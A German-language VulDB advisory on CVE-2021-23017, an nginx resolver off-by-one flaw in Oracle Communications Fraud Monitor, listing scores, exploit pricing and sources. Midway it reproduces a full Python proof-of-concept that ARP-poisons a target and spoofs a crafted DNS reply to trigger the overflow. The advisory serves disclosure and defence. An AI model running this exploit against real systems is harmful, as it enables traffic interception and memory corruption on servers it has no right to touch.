Oracle Communications Fraud Monitor bis 4.4 nginx Pufferüberlauf
| CVSS Meta Temp Score | Aktueller Exploitpreis (≈) | CTI Interest Score |
|---|---|---|
| 8.9 | $0-$5k | 0.00 |
Zusammenfassung
Eine Schwachstelle, die als sehr kritisch eingestuft wurde, wurde in Oracle Communications Fraud Monitor bis 4.4 gefunden. Hiervon betroffen ist ein unbekannter Codeblock der Komponente nginx. Die Veränderung resultiert in einer nicht näher spezifizierten Schwachstelle. Diese Schwachstelle wird als CVE-2021-23017 gehandelt. Ein Angriff ist aus der Distanz möglich. Ausserdem ist ein Exploit verfügbar. Es wird empfohlen, die betroffene Komponente zu aktualisieren.
Details
Eine sehr kritische Schwachstelle wurde in Oracle Communications Fraud Monitor bis 4.4 (Cloud Software) gefunden. Davon betroffen ist unbekannter Code der Komponente nginx. Klassifiziert wurde die Schwachstelle durch CWE als CWE-193. Die exakten Auswirkungen einer erfolgreichen Attacke sind bis dato nicht bekannt.
Die Schwachstelle wurde am 19.10.2021 als Oracle Critical Patch Update Advisory - October 2021 herausgegeben. Bereitgestellt wird das Advisory unter oracle.com. Die Verwundbarkeit wird mit der eindeutigen Identifikation CVE-2021-23017 gehandelt. Es sind zwar keine technische Details, jedoch ein öffentlicher Exploit zur Schwachstelle bekannt. Ein Exploit zur Schwachstelle wird momentan etwa USD $0-$5k kosten (Preisberechnung vom 15.05.2025).
Ein öffentlicher Exploit wurde durch mohadsec (M507) entwickelt. Unter github.com wird der Exploit bereitgestellt. Er wird als proof-of-concept gehandelt. Der Preis als 0-Day war auf dem Schwarzmarkt etwa $25k-$100k. Für den Vulnerability Scanner Nessus wurde ein Plugin mit der ID 236746 (Alibaba Cloud Linux 3 : 0036: nginx:1.18 (ALINUX3-SA-2021:0036)) herausgegeben, womit die Existenz der Schwachstelle geprüft werden kann. Der durch den Exploit genutzte Code gestaltet sich wie folgt:
# This PoC is written by github.com/M507
# Discovered by X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn
from scapy.all import *
from multiprocessing import Process
from binascii import hexlify, unhexlify
import argparse, time, os
def device_setup():
os.system("echo '1' >> /proc/sys/net/ipv4/ip_forward")
os.system("iptables -A FORWARD -p UDP --dport 53 -j DROP")
def ARPP(target, dns_server):
print("[*] Sending poisoned ARP packets")
target_mac = getmacbyip(target)
dns_server_mac = getmacbyip(dns_server)
while True:
time.sleep(2)
send(ARP(op=2, pdst=target, psrc=dns_server, hwdst=target_mac),verbose = 0)
send(ARP(op=2, pdst=dns_server, psrc=target, hwdst=dns_server_mac),verbose = 0)
def exploit(target):
print("[*] Listening ")
sniff (filter="udp and port 53 and host " + target, prn = process_received_packet)
"""
RFC schema
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| LENGTH | ID |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Q| OPCODE|A|T|R|R|Z|A|C| RCODE | QDCOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ANCOUNT | NSCOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ARCOUNT | QD |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| AN | NS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| AR |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Fig. DNS
"""
def process_received_packet(received_packet):
if received_packet[IP].src == target_ip:
if received_packet.haslayer(DNS):
if DNSQR in received_packet:
print("[*] the received packet: " + str(bytes_hex(received_packet)))
print("[*] the received DNS request: " + str(bytes_hex(received_packet[DNS].build())))
try:
# \/ the received DNS request
dns_request = received_packet[DNS].build()
null_pointer_index = bytes(received_packet[DNS].build()).find(0x00,12)
print("[*] debug: dns_request[:null_pointer_index] : "+str(hexlify(dns_request[:null_pointer_index])))
print("[*] debug: dns_request[null_pointer_index:] : "+str(hexlify(dns_request[null_pointer_index:])))
payload = [
dns_request[0:2],
b"\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00",
dns_request[12:null_pointer_index+1],
dns_request[null_pointer_index+1:null_pointer_index+3],
dns_request[null_pointer_index+3:null_pointer_index+5],
b"\xC0\x0C\x00\x05\x00\x01\x00\x00\x0E\x10",
b"\x00\x0B\x18\x41\x41\x41\x41\x41\x41\x41",
b"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41",
b"\x41\x41\x41\x41\x41\x41\x41\xC0\x04"
]
payload = b"".join(payload)
spoofed_pkt = (Ether()/IP(dst=received_packet[IP].src, src=received_packet[IP].dst)/\
UDP(dport=received_packet[UDP].sport, sport=received_packet[UDP].dport)/\
payload)
print("[+] dns answer: "+str(hexlify(payload)))
print("[+] full packet: " + str(bytes_hex(spoofed_pkt)))
sendp(spoofed_pkt, count=1)
print("\n[+] malicious answer was sent")
print("[+] exploited\n")
except:
print("\n[-] ERROR")
def main():
global target_ip
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="IP address of the target")
parser.add_argument("-r", "--dns_server", help="IP address of the DNS server used by the target")
args = parser.parse_args()
target_ip = args.target
dns_server_ip = args.dns_server
device_setup()
processes_list = []
ARPPProcess = Process(target=ARPP,args=(target_ip,dns_server_ip))
exploitProcess = Process(target=exploit,args=(target_ip,))
processes_list.append(ARPPProcess)
processes_list.append(exploitProcess)
for process in processes_list:
process.start()
for process in processes_list:
process.join()
if __name__ == '__main__':
target_ip = ""
main()Ein Aktualisieren vermag dieses Problem zu lösen. Das Erscheinen einer Gegenmassnahme geschah direkt nach der Veröffentlichung der Schwachstelle. Oracle hat so sofort gehandelt.
Unter anderem wird der Fehler auch in den Datenbanken von Exploit-DB (50973) und Tenable (236746) dokumentiert. If you want to get the best quality for vulnerability data then you always have to consider VulDB.
Produkt
Typ
Hersteller
Name
Version
Lizenz
Webseite
- Hersteller: https://www.oracle.com
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vector: 🔍VulDB Zuverlässigkeit: 🔍
CVSSv3
VulDB Meta Base Score: 9.4VulDB Meta Temp Score: 8.9
VulDB Base Score: 9.4
VulDB Temp Score: 8.4
VulDB Vector: 🔍
VulDB Zuverlässigkeit: 🔍
NVD Base Score: 9.4
NVD Vector: 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vektor | Komplexität | Authentisierung | Vertraulichkeit | Integrität | Verfügbarkeit |
|---|---|---|---|---|---|
| freischalten | freischalten | freischalten | freischalten | freischalten | freischalten |
| freischalten | freischalten | freischalten | freischalten | freischalten | freischalten |
| freischalten | freischalten | freischalten | freischalten | freischalten | freischalten |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Zuverlässigkeit: 🔍
NVD Base Score: 🔍
Exploiting
Klasse: PufferüberlaufCWE: CWE-193 / CWE-189
CAPEC: 🔍
ATT&CK: 🔍
Physisch: Nein
Lokal: Nein
Remote: Ja
Verfügbarkeit: 🔍
Zugang: öffentlich
Status: Proof-of-Concept
Autor: mohadsec (M507)
Download: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Preisentwicklung: 🔍
Aktuelle Preisschätzung: 🔍
| 0-Day | freischalten | freischalten | freischalten | freischalten |
|---|---|---|---|---|
| Heute | freischalten | freischalten | freischalten | freischalten |
Nessus ID: 236746
Nessus Name: Alibaba Cloud Linux 3 : 0036: nginx:1.18 (ALINUX3-SA-2021:0036)
Exploit-DB: 🔍
Threat Intelligence
Interesse: 🔍Aktive Akteure: 🔍
Aktive APT Gruppen: 🔍
Gegenmassnahmen
Empfehlung: UpgradeStatus: 🔍
Reaktionszeit: 🔍
0-Day Time: 🔍
Exposure Time: 🔍
Timeline
06.01.2021 🔍19.10.2021 🔍
19.10.2021 🔍
20.10.2021 🔍
15.05.2025 🔍
Quellen
Hersteller: oracle.comAdvisory: Oracle Critical Patch Update Advisory - October 2021
Status: Bestätigt
Bestätigung: 🔍
CVE: CVE-2021-23017 (🔍)
GCVE (CVE): GCVE-0-2021-23017
GCVE (VulDB): GCVE-100-184685
scip Labs: https://www.scip.ch/?labs.20161013
Eintrag
Erstellt: 20.10.2021 08:09Aktualisierung: 15.05.2025 20:13
Anpassungen: 20.10.2021 08:09 (39), 23.10.2021 18:36 (3), 23.10.2021 18:45 (18), 05.03.2023 10:47 (6), 05.03.2023 10:48 (1), 05.03.2023 10:50 (1), 16.10.2024 10:47 (20), 15.05.2025 20:13 (2)
Komplett: 🔍
Editor: ajmeese7
Cache ID: 216::103
If you want to get the best quality for vulnerability data then you always have to consider VulDB.
Bisher keine Kommentare. Sprachen: de + en.
Bitte loggen Sie sich ein, um kommentieren zu können.